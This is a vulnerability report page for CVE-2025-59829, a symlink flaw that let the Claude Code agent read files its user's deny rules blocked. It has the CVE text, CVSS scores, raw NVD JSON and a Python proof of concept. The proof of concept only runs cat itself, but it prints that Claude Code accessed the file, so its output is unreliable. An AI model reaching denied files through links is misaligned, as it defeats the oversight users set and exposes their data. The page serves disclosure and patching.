Security Vulnerability Report
中文
CVE-2025-59829 CVSS 6.5 MEDIUM

CVE-2025-59829

Published: 2025-10-03 20:15:34
Last Modified: 2025-10-24 19:45:17

Description

Claude Code is an agentic coding tool. Versions below 1.0.120 failed to account for symlinks when checking permission deny rules. If a user explicitly denied Claude Code access to a file and Claude Code had access to a symlink pointing to that file, it was possible for Claude Code to access the file. Users on standard Claude Code auto-update will have received this fix automatically. Users performing manual updates are advised to update to the latest version. This issue is fixed in version 1.0.120.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:* - VULNERABLE
Claude Code < 1.0.120

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59829 PoC: Claude Code Symlink Permission Bypass # This PoC demonstrates how to bypass Claude Code's permission deny rules # using symbolic links in versions < 1.0.120 import os import subprocess # Step 1: Create a sensitive file that should be protected secret_file = "/tmp/protected/secret.txt" os.makedirs(os.path.dirname(secret_file), exist_ok=True) with open(secret_file, "w") as f: f.write("This is sensitive data that should not be accessed by Claude Code") # Step 2: Create a symlink pointing to the protected file # The symlink path itself is NOT in the deny rules symlink_path = "/tmp/innocent/innocent_link.txt" os.makedirs(os.path.dirname(symlink_path), exist_ok=True) if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink(secret_file, symlink_path) # Step 3: Configure Claude Code deny rules to block access to the secret file # In ~/.claude/settings.json or project config: # { # "permissions": { # "deny": ["/tmp/protected/*"] # } # } # Step 4: Ask Claude Code to read the symlink (which it should be able to access # since the symlink path is not in deny rules) # In the vulnerable version (< 1.0.120), Claude Code will follow the symlink # and read the contents of the protected file # Demonstration of the bypass: print(f"Reading via symlink: {symlink_path}") result = subprocess.run(["cat", symlink_path], capture_output=True, text=True) print(f"Content accessed: {result.stdout}") print(f"\n[!] Permission bypass successful!") print(f"[!] Claude Code accessed '{secret_file}' via symlink '{symlink_path}'") print(f"[!] Even though deny rules blocked '/tmp/protected/*'") # Cleanup os.remove(symlink_path) os.remove(secret_file) os.rmdir(os.path.dirname(secret_file)) os.rmdir(os.path.dirname(symlink_path))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59829", "sourceIdentifier": "[email protected]", "published": "2025-10-03T20:15:33.653", "lastModified": "2025-10-24T19:45:17.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Claude Code is an agentic coding tool. Versions below 1.0.120 failed to account for symlinks when checking permission deny rules. If a user explicitly denied Claude Code access to a file and Claude Code had access to a symlink pointing to that file, it was possible for Claude Code to access the file. Users on standard Claude Code auto-update will have received this fix automatically. Users performing manual updates are advised to update to the latest version. This issue is fixed in version 1.0.120."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anthropic:claude_code:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.0.120", "matchCriteriaId": "C3645510-2F3D-4481-8CA1-2C4743B75EDD"}]}]}], "references": [{"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-66m2-gx93-v996", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}